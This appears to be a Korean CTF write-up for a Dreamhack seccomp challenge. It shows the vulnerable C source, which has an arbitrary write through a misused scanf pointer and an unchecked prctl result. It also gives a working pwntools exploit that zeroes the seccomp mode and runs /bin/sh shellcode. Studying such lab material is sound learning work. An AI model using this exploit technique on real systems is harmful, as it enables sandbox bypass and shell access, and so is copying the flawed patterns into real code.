Seccomp
scanf writes through `addr` instead of `&value`, so the sandbox mode global can be set to 0 and prctl() fails without anyone checking.
다음 Seccomp 문제.. 하지만 전이랑 완전 결이 다르다. int mode = SECCOMP_MODE_STRICT; — STRICT는 read, write, exit, sigreturn 딱 4개만 허용하고 나머지 전부 킬임. 대신 쓰는 명령어 그런거 없음.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int mode = SECCOMP_MODE_STRICT;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
void (*sc)();
unsigned char *shellcode;
int cnt = 0;
int idx;
long addr;
long value;
initialize();
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) {
exit(0);
}
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024);
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
return 0;
}
취약점
그럼 일반적인 ORW 는 안될테니, 코드를 살펴보자. 수상한 부분은 여기다.
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
일반적인 코드는 addr 대신 &value 가 맞다. 하지만 현재 코드는 addr을 포인터로 사용하고 있다. 즉 사용자가 지정한 주소에 scanf()가 값을 기록하게 되는 거고, 그건 arbitrary overwrite 의 신호다 (임의주소쓰기).
이제 이 취약점을 이용하면, 전역 변수인 mode의 값을 변경할 수 있다. int mode = SECCOMP_MODE_STRICT; → 이건 mode = 1 이다. 여기서 mode를 0으로 덮어쓰면 이후 Seccomp 설정에 영향을 줄 수 있다.
왜냐하면,,,
| mode | 의미 |
|---|---|
0 | 유효하지 않은 Seccomp mode |
1 | SECCOMP_MODE_STRICT |
2 | SECCOMP_MODE_FILTER |
이기 때문에 !!! 여기서 mode = 0이면 prctl()이 실패하고 -1을 반환한다. 하지만 메인을 살펴보면 딱히 리턴 값을 확인하지 않는다.
그렇게 되면 공격 시나리오는:
| 단계 | 내용 | |
|---|---|---|
| STEP 1 | Arbitrary Write | mode의 주소에 0 기록 — *(long *)mode_addr = 0 |
| STEP 2 | Seccomp 설정 실패 유도 | case 1 실행 → prctl()이 EINVAL로 실패 |
| STEP 3 | Shellcode 입력 | Seccomp가 적용되지 않은 상태에서 Shellcode 저장 |
| STEP 4 | Shellcode 실행 | execve("/bin/sh", ...) 실행 |
익스플로잇
그럼 밑에는 실제 작동하는 익스다.
from pwn import *
context.arch = 'amd64'
e = ELF('./seccomp') # 실제 파일명으로
# p = process('./seccomp')
p = remote('host3.dreamhack.games', 0000) # 포트 넣기
mode_addr = e.symbols['mode'] # Stripped: No 라 심볼로 바로 획득
# ① mode 를 무효값으로 덮어 prctl 실패 유도
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'addr: ', str(mode_addr).encode())
p.sendlineafter(b'value: ', str(0).encode())
# ② seccomp 미적용 상태로 셸코드 입력
p.sendlineafter(b'> ', b'1')
p.sendafter(b'shellcode: ', asm(shellcraft.sh()))
# ③ 실행
p.sendlineafter(b'> ', b'2')
p.interactive()
익스 분석
STEP 1. Arbitrary write — 임의 주소 쓰기
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'addr: ', str(mode_addr).encode())
p.sendlineafter(b'value: ', str(0).encode())
메뉴 3을 선택하고 mode_addr에 0을 기록한다. 메모리 상태는 다음처럼 바뀐다.
Before: mode = 1
After : mode = 0
STEP 2. Seccomp 설정 실패
p.sendlineafter(b'> ', b'1')
메뉴 1을 선택하면 syscall_filter(); 가 실행한다. 이때 mode가 0이므로:
prctl(PR_SET_SECCOMP, 0, &prog);
prctl()은 실패하고 EINVAL을 반환한다. 하지만 프로그램은 반환값을 확인하지 않으므로 Shellcode 입력을 계속 진행함.
STEP 3. Shellcode 입력
p.sendafter(b'shellcode: ', asm(shellcraft.sh()))
pwntools에 기본적으로 내장된 Shellcode 생성 함수. asm()은 Assembly 코드를 기계어로 변환하고, shellcraft.sh()는 /bin/sh를 실행하는 Shellcode를 생성함.
끝